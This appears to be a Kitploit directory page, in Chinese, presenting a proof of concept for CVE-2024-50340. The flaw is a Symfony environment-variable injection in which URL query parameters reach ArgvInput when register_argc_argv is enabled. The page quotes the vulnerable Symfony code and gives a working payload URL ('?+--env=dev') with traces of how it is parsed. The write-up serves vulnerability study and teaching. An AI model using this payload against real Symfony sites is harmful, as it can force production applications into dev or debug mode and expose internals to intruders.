Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-50340 — CVE-2024-50340的概念验证漏洞利用,演示Symfony ArgvInput通过精心构造的URL查询参数进行环境变量注入,从而操纵APP_ENV和APP_DEBUG。 | Kitploit
工具/GitHubGitHub/nyamort/cve-2024-50340
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubnyamort/cve-2024-50340

CVE-2024-50340

CVE-2024-50340的概念验证漏洞利用,演示Symfony ArgvInput通过精心构造的URL查询参数进行环境变量注入,从而操纵APP_ENV和APP_DEBUG。

查看仓库
121年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-50340 POC

环境要求

必须在 PHP 配置文件(php.ini)中启用 register_argc_argv 选项。该设置会将命令行参数和查询参数加载到 $_SERVER['argv'] 中。 https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

漏洞代码说明

以下 Symfony 代码使用输入参数(ArgvInput)来确定某些环境变量的值,特别是 APP_ENV 和 APP_DEBUG。以下是 Symfony 代码的相关部分:

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

上述代码处理通过 ArgvInput 提供的参数。如果在 argv 中指定了 --env 参数,它会相应地更新环境变量 APP_ENV。类似地,如果存在 --no-debug,它会将 APP_DEBUG 设置为 0。

ArgvInput 类

ArgvInput 类初始化通过命令行、查询参数传递的 argv 参数,或者默认情况下初始化 $_SERVER['argv'] 中的参数。array_shift($argv); 函数会移除 $argv 数组中的第一个元素(通常是应用程序名称),并将剩余参数存储在 $this->tokens 中。

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

PoC 示例

使用以下 URL:http://localhost/?+--env=dev,我们可以将 --env=dev 参数注入到 $_SERVER['argv'] 中。这允许我们无需直接修改应用程序配置即可将 APP_ENV 值更改为 dev。

  1. 当访问 http://localhost/?+--env=dev 时,$_SERVER['argv'] 可能如下所示:
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. 在 ArgvInput 类中,执行 array_shift 操作后,$argv 变为:
root@kitploit:~
$argv = ["--env=dev"];
  1. ArgvInput 随后会将 --env=dev 识别为有效参数,并通过 getParameterOption 方法相应更新 APP_ENV。
下载工具